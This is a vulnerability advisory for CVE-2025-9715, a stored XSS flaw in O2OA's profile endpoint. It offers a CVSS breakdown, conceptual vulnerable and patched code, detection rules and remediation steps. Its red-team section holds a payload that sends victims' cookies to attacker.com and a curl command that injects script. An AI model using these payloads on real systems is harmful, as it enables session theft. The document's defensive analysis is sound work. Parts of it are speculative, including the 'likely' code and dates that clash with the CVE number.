CVE-2025-9715

Executive Summary

CVE-2025-9715 is a stored Cross-Site Scripting (XSS) vulnerability in O2OA, an open-source enterprise collaboration platform. The flaw exists in the Personal Profile Page component, specifically within the /x_cms_assemble_control/jaxrs/script endpoint. An authenticated attacker can inject malicious scripts via the name, alias, or description parameters, which are then stored and executed in the context of other users' browsers when they view the affected profile page. The vulnerability has a CVSS score of 3.5 (Low), but the public availability of exploit code increases the risk. The vendor has acknowledged the issue and released a fix in a subsequent version.

CVSS Breakdown & Threat Level

• CVSS Score: 3.5 (Low)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N
• Attack Vector: Network (AV:N) - The attack can be launched remotely.
• Attack Complexity: Low (AC:L) - No special conditions are required.
• Privileges Required: Low (PR:L) - The attacker needs a valid user account.
• User Interaction: Required (UI:R) - The victim must click on the crafted profile page.
• Scope: Unchanged (S:U) - The vulnerability does not affect other components.
• Confidentiality Impact: Low (C:L) - Limited information disclosure.
• Integrity Impact: Low (I:L) - Limited ability to modify data.
• Availability Impact: None (A:N) - No impact on system availability.

Threat Level: Low. The requirement for authentication and user interaction reduces the immediate risk. However, the public availability of exploit code and the potential for targeted attacks within an organization warrant attention.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (Cross-Site Scripting) flaw. The application fails to properly sanitize user-supplied input in the name, alias, and description fields of the Personal Profile Page. When a user updates their profile via the /x_cms_assemble_control/jaxrs/script endpoint, the input is stored in the database without adequate encoding or validation.

When another user (or the same user) views the profile page, the stored malicious script is rendered in the browser. This allows the attacker to execute arbitrary JavaScript in the context of the victim's session. The attack flow is:

1. Authentication: The attacker logs into O2OA with a valid account.
2. Injection: The attacker sends a POST request to /x_cms_assemble_control/jaxrs/script with a payload in the name, alias, or description field, such as <script>alert('XSS')</script>.
3. Storage: The server stores the malicious input in the database.
4. Trigger: A victim user navigates to the attacker's profile page.
5. Execution: The browser executes the injected script, potentially stealing cookies, redirecting the user, or performing actions on their behalf.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable code likely directly outputs user input without sanitization. For example, in a Java-based O2OA component:

// Vulnerable: Directly outputs user input
String name = request.getParameter("name");
response.getWriter().write("<div>" + name + "</div>");

Patched Code (Conceptual): The patched code should use proper output encoding or a template engine that auto-escapes HTML.

// Patched: Uses HTML encoding
String name = request.getParameter("name");
String encodedName = StringEscapeUtils.escapeHtml4(name);
response.getWriter().write("<div>" + encodedName + "</div>");

The vendor's fix likely involves implementing input validation and output encoding for the affected fields.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A running instance of O2OA (version <= 10.0-410).
• A valid user account on the O2OA instance.

Exploitation Steps:

1. Login: Authenticate to the O2OA application.
2. Craft Payload: Create a malicious JavaScript payload. For example, to steal cookies:

   <script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
   

3. Send Request: Use a tool like curl or Burp Suite to send a POST request to the vulnerable endpoint.

   curl -X POST "http://target-o2oa.com/x_cms_assemble_control/jaxrs/script" \
     -H "Content-Type: application/json" \
     -d '{"name": "<script>alert(1)</script>", "alias": "test", "description": "test"}'
   

4. Trigger: As the victim, navigate to the attacker's profile page. The script will execute.

Lab Setup:

• Use Docker to quickly spin up a vulnerable O2OA instance.
• Use a local web server (e.g., Python's http.server) to capture exfiltrated data.

Blue Team (Defensive)

Detection:

• Monitor for unusual POST requests to /x_cms_assemble_control/jaxrs/script containing HTML tags or JavaScript code.
• Look for anomalous profile updates, especially from low-privileged users.
• Use Web Application Firewall (WAF) rules to block common XSS patterns.

Mitigation:

• Apply the vendor patch immediately.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Enforce input validation and output encoding on all user-supplied data.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /x_cms_assemble_control/jaxrs/script with payloads containing <script> tags.
  • Outbound connections to unknown domains from the O2OA server (data exfiltration).
• Host:
  • Log entries showing profile updates with suspicious content.
  • Unexpected JavaScript execution in browser developer tools.
• File:
  • No specific file-based IOCs.

Detection Engineering

YARA Rule

rule CVE_2025_9715_O2OA_XSS {
    meta:
        description = "Detects XSS payloads targeting O2OA CVE-2025-9715"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-9715"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/ nocase
        $endpoint = "/x_cms_assemble_control/jaxrs/script"
    condition:
        $endpoint and $xss_payload
}

Sigma Rule

title: O2OA Stored XSS via Profile Update
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2025-9715 by injecting XSS payloads into the profile update endpoint.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/x_cms_assemble_control/jaxrs/script'
    keywords:
        - '<script'
        - 'javascript:'
        - 'onerror='
        - 'onload='
    condition: selection and keywords
falsepositives:
    - Legitimate use of script tags in profile descriptions (unlikely)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-9715 O2OA Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/x_cms_assemble_control/jaxrs/script"; http_uri; pcre:"/<script[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade O2OA to version 10.0-411 or later.
2. Workaround: If immediate patching is not possible, implement a Web Application Firewall (WAF) rule to block requests containing <script> tags in the name, alias, or description parameters.
3. Long-term: Enforce strict input validation and output encoding for all user-supplied data. Implement a Content Security Policy (CSP) to mitigate the impact of XSS.
4. Monitoring: Enable detailed logging for the /x_cms_assemble_control/jaxrs/script endpoint and monitor for suspicious activity.

Valters IT
DevSecOps & Cyber Threat Intelligence